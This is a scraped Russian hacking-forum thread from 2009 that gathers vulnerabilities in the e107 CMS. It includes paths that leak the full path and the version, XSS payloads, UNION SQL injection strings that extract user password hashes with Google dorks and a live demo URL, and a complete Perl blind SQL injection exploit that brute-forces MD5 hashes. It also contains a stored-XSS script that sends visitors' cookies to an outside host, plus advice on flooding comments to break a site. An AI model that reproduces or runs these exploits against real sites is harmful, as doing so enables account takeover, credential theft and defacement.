ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Веб-уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=114)
-   -   [ Обзор уязвимостей e107 cms ] (https://forum.antichat.xyz/showthread.php?t=50683)

ZAMUT 13.01.2009 13:02

Full path disclosure --last upd

Код:

/online.php
/e107_plugins/log/consolidate.php
/e107_plugins/log/log.php
/e107_plugins/pdf/e107pdf.php


ZAMUT 16.01.2009 22:10

Version disclosure --last upd
Код:

/e107_admin/credits.php
/e107_docs/README.html
/e107_docs/README_UPGRADE.html
/e107_files/e107.js
/e107_files/shortcode/sitelinks_alt.sc
/e107_handlers/tiny_mce/plugins/ibrowser/editor_plugin.js


fire64 05.04.2009 17:43

xss в плагине форума, в версии v.0.7.15

заголовок темы не фильтруется

Код:

><script>alert(1)</script><

f1ng3r 15.04.2009 10:19

e107 Plugin userjournals_menu
 
Код:

###################################################################
e107 Plugin userjournals_menu (blog.id) SQL injection vulnerability
###################################################################


###################################################
#[~] Author        :  boom3rang
#[~] Greetz        :  H!tm@N, KHG, chs, redc00de
#[~] Vulnerability :  Remote SQL-injection
#[~] Google Dork  :  inurl:"userjournals.php?blog."
-------------------------------------------------- 
#[!] Product Site  :  http://www.bugrain.com
#[!] Download CMS  :  http://www.e107coders.org/download.php?view.1402
#[!] Version      :  v0.7 or later
###################################################


[-] POC:
http://localhost/plugins/userjournals_menu/userjournals.php?blog.[exploit]

[-] Exploit:
-9999 union all select 1,2,3,4,5,6,user_password,8,9,0,11,12,13 from e107_user--

[-] Exploit 2:
-9999 union all select 1,2,null,4,5,6,@@version,8,9,0,11,12,13--

[+] LiveDemo:
http://demo.infozonelab.com/plugins/userjournals_menu/userjournals.php?blog.-9999 union all select 1,2,3,4,5,6,user_password,8,9,0,11,12,13 from e107_user--


###########################
United States of Albania
Proud to be Albanian
R.I.P redc00de
###########################

© milw0rm.com [2009-04-13]

Nightmarе 21.04.2009 02:45

Обнаружил интересную вещь.
Движок e107 так-же неадекватно реагирует на флуд в новостях, если хорошенько зафлудить максимальным количеством символов в 2-3 сообщения, то коментарии к новости вообще никакие не будут отображаться. Любителям сделать гадость на сайте это подойдёт как нельзя кстати.


Решение: ограничить количество символов в сообщениях, или не допускать большое кол-во одинаковых символов\слов в сообщении.

Solide Snake 21.04.2009 23:21

e107 <= 0.7.15 (extended_user_fields) Blind SQL Injection Exploit
 
Код:

#!/usr/bin/env perl
#
# e107 <= 0.7.15 "extended_user_fields" Blind SQL Injection Exploit
#
# Description
# -------------------------------------------------------------------
# e107 contains one flaw that allows an attacker to carry out an SQL
# injection attack. The issue is due to the "usersettings.php" script
# not properly saniting user-supplied input to the hide[] key.
# This may allow an attacker to inject or manipulate sql queries in
# the backend database if magic_quotes_gpc = off.
# -------------------------------------------------------------------
# Code Details (usersettings.php)
# -------------------------------------------------------------------
# Line 433 - 441
#
# if($ue_fields) {
#    $hidden_fields = implode("^", array_keys($_POST['hide'])); <------ {1}
#   
#    if($hidden_fields != "")
#    {
#        $hidden_fields = "^".$hidden_fields."^"; 
#    }
#    $ue_fields .= ", user_hidden_fields = '".$hidden_fields."'"; <---- {2}
#  }
#
# Line 470 - 476

#  if($ue_fields)
#  {
#    [etc..]
#    $sql->db_Update("user_extended", $ue_fields." WHERE user_extended_id = '".intval($inp)."'");
#  } 

# ue[] POST variable needs a valid key
# such as "aim","msn" or other user_extended_fields
# (@fields array).
#
# Fix this sql injection using (php function)
# mysql_real_escape_string to the POST 'hide' key,
# otherwise find a way to fix it. dont care
# ------------------------------------------
# Discovered & Written
# by Juri Gianni aka yeat - staker[at]hotmail[dot]it

# Thanks to
# ---------------------------------------------
# JosS,girex,str0ke,certaindeath,plucky
# #zeroidentity chan - http://zeroidentity.org
# ---------------------------------------------
# http://www.youtube.com/watch?v=0rgInHvW8Ic
# http://www.youtube.com/watch?v=O2y62xcUJ8E
# ---------------------------------------------

use LWP::UserAgent;


my $prefix = "e107_"; # default table_prefix
my $type_i = undef;
my $sock_u = new LWP::UserAgent;

my ($domain,$user_name,$user_pwd,$target) = @ARGV;


e107::Usage() unless scalar (@ARGV) > 3;
 
e107::Login($user_name,$user_pwd);
$type_i = e107::ExtendedField();
e107::Exploit();
   

sub e107::Usage
{
      print "e107 <= 0.7.15 'extended_user_fields' Blind SQL Injection Exploit\n";
      print "Usage: perl xpl.pl http://[host]/[path] [username] [password] [target id]\n";
      print "Usage: perl xpl.pl http://localhost/e107 yeat an4rchy 1\n";
      exit;
}     

sub e107::Exploit
{
    e107::Vulnerable();
    e107::BruteForce();
}



sub e107::SqlQuery
{
      my ($do_query,$response,$start,$down,$element);
     
      $do_query = $_[0] || die $!;
     
      $start = time();
 
      $response = $sock_u->post($domain.'/usersettings.php',
                              [
                                "email"          => 'doesnt@exists.net',
                                "ue[user_$type_i]" => 1,
                                "hide[$do_query]" => 1,
                                "updatesettings"  => 'Save Settings',
                              ]) or die $!;
      $down = time();
     
      return $down - $start;                           
}



sub e107::CheckField
{
      my ($do_query,$response,$start,$down,$element);
     
      $do_query = $_[0];
      $element  = $_[1] || die $!; 
     
     
      $start = time();
 
      $response = $sock_u->post($domain.'/usersettings.php',
                              [
                                "email"          => 'doesnt@exists.net',
                                "ue[user_$element]" => 1,
                                "hide[$do_query]" => 1,
                                "updatesettings"  => 'Save Settings',
                              ]) or die $!;
      $down = time();
     
      return $down - $start;                           
}
     
     

sub e107::ExtendedField
{
      my @fields = ('yeat','aim','birthday','icq','language','location','msn','yahoo','homepage');
     
      my $query = "\x27/**/OR/**/CASE/**/WHEN(1>0)/**/THEN".
                  "/**/benchmark(100000000,CHAR(0))/**/END#";
                 
      for (my $i=1;$i<8;$i++) {
           
            if (e107::CheckField($query,$fields[$i]) > 6) {
                return $fields[$i]; last;
            }   
            unless ($i != 8 && $fields[$i]) {
              die("Site not vulnerable..\n");
            }
      }         
}
       
       

sub e107::SqlBrute
{
      my $ascii = $_[0];
      my $limit = $_[1] || 1;
     
      my $sql_query = "\x27/**/OR/**/(SELECT/**/IF((ASCII(SUBSTRING(user_password,$limit,1))".
                      "=$ascii),benchmark(200000000,CHAR(0)),0)/**/FROM/**/${prefix}user/**/".
                      "WHERE/**/user_id=$target)#";
     
      return $sql_query;               
}



sub e107::BruteForce
{
      my $i = 1;
      my @charset = (97..102,48..57);
      my $convert = undef;
      my $result  = undef;
     
     
      for ($i..32) {
           
            foreach $convert (@charset) {
                 
                  if (e107::SqlQuery(e107::SqlBrute($convert,$i)) > 9) {
                      syswrite(STDOUT,chr($convert)); $i++;
                      last; $result .= chr($convert);
                  }             
            }
      }
     
      unless (length($result) != 32) {
          print "\nHash MD5: $result\n";
          print "User ID: $target\n";
      }
}



sub e107::Vulnerable
{           
      my @fields = ('yeat','aim','birthday','icq','language','location','msn','yahoo','homepage');
     
      for (my $i=1;$i<8;$i++) {
     
            if ($fields[$i] eq $type_i) {
              print "Exploiting..\n"; last;
            }
            else {
              die ("Site not vulnerable..\n");
            }
      }           
}     
   
                       

sub e107::Login
{
        my ($username,$password) = @_;
        my ($result,$response);
       
        $response =  $sock_u->post($domain.'/signup.php',
                                [
                                  username  => $username,
                                  userpass  => $password,
                                  userlogin => 'Login',
                                  autologin => 0
                                ]) or die $!;
       
        $result = $response->as_string;                       
                               
        if ($result =~ /e107cookie=(\d+)\.([0-9a-f]{32})/i) {
            $sock_u->default_header('Cookie' => "e107cookie=$1.$2;");
            $sock_u->agent('Lynx (textmode) - Logged');
        }
        else {
          die("Login failed..\n");
        } 
}

# milw0rm.com [2009-04-20]


[underwater] 28.04.2009 17:50

ZoGo-Shop e107 plugin

Vuln File:
product_details.php

Vuln Code:
Код:

e107_plugins/zogo-shop/product_details.php
$product_ID=$_GET["product"];

Exploit:
Код:

http://localhost/[path]/e107_plugins/zogo-shop/product_details.php?product=[SQL]

Psi.X 04.05.2009 00:41

Есть такая штука...
В файле e107_admin/auth.php
PHP код:

    function authcheck($authname$authpass)
    {
        
/*
        # Admin auth check
        # - parameter #1:                string $authname, entered name
        # - parameter #2:                string $authpass, entered pass
        # - return                                boolean if fail, else result array
        # - scope                                        public
        */
        
global $tp;
        
$sql_auth = new db;
        
$authname $tp -> toDB(preg_replace("/\sOR\s|\=|\#/"""$authname));
        if (
$sql_auth->db_Select("user""*"""))//"user_loginname='$authname' OR 1=1"))// AND user_admin='1' ")) 

Логин приходит в базу через $tp -> toDB() но НЕ ФИЛЬТРУЕТСЯ !
Можно дописать после нее echo $authname, и мы увидим резалт.
Но у меня на локалхосте так и не получилось что-либо сделать. Выходит какаето ерунда...
Запрос вроде есть мускл возвр хендл, но когда идет проверка на кол-во строк возвр 0
Хоть убей не понимаю в чем дело...

Grey 06.05.2009 18:24

Цитата:

Сообщение от Psi.X
Логин приходит в базу через $tp -> toDB() но НЕ ФИЛЬТРУЕТСЯ !
Можно дописать после нее echo $authname, и мы увидим резалт.

Ну как же не фильтруется, когда напротив очень даже фильтруется.
Смотрим e107_handlers/e_parse_class.php

Дабы избежать того, на что наткнулся ты, я поставлю /*1*/ в те участки кода, которые браузер воспринимает не так как они есть на самом деле:

Код:

        function toDB($data, $nostrip = false, $no_encode = false, $mod = false)
        {
                global $pref;
                if (is_array($data)) {
                        // recursively run toDB (for arrays)
                        foreach ($data as $key => $var) {
                                $ret[$key] = $this -> toDB($var, $nostrip, $no_encode, $mod);
                        }
                } else {
                        if (MAGIC_QUOTES_GPC == TRUE && $nostrip == false) {
                                $data = stripslashes($data);
                        }
                        if(isset($pref['post_html']) && check_class($pref['post_html']))
                        {
                                $no_encode = TRUE;
                        }
                        if ($no_encode === TRUE && $mod != 'no_html')
                        {
                                $search = array('$', '"', "'", '\\', '<?');
                                $replace = array('&#/*1*/036;','&q/*1*/uot;','&#/*1*/039;', '&#0/*1*/92;', '&/*1*/lt;?');
                                $ret = str_replace($search, $replace, $data);
                        } else {
                                $data = htmlspecialchars($data, ENT_QUOTES, CHARSET);
                                $data = str_replace('\\', '\', $data);
                                $ret = preg_replace("/&amp;#(\d*?);/", "&#\\1;", $data);
                        }
                        //If user is not allowed to use [php] change to entities
                        if(!check_class($pref['php_bbcode']))
                        {
                                $ret = preg_replace("#\[(php)#i", "[\\1", $ret);
                        }

                }

                return $ret;
        }

Если чуть короче, то вот замена, которая нам нужна:

' -> &#/*1*/039;

Что делает браузер? отображает &#/*1*/039; как привычную кавычку.
Что делаешь ты? дописываешь в код echo($authname);
И видишь, то, что хочешь увидеть - кавычку, а вот если заглянуть в сорец странички (html (Вид - Исходный код страницы)), то можно увидеть что кавычки там нету, а есть &#/*1*/039;

ettee 08.05.2009 18:55

Уязвимость существует из-за недостаточной обработки входных данных параметра "email" в POST запросе сценария guestbook.php.
Уязвимое поле "E-mail". Сформированные Post data заголовок:
Код:

POSTDATA=name=E107 CMS (e107_plugins/guestbook) stored XSS by ettee(itdefence.ru)&email='><script>alert('xss')</script>
Example: http://target/e107_plugins/guestbook/guestbook.php?edit.2. Где "2" является номером вашего сообщения.
Google dork: inurl:/e107_plugins/guestbook/guestbook.php
Cookie: '><script>img = new Image(); img.src = "http://someshit.net/image/s.gif?"+document.cookie;</script>


Время: 10:31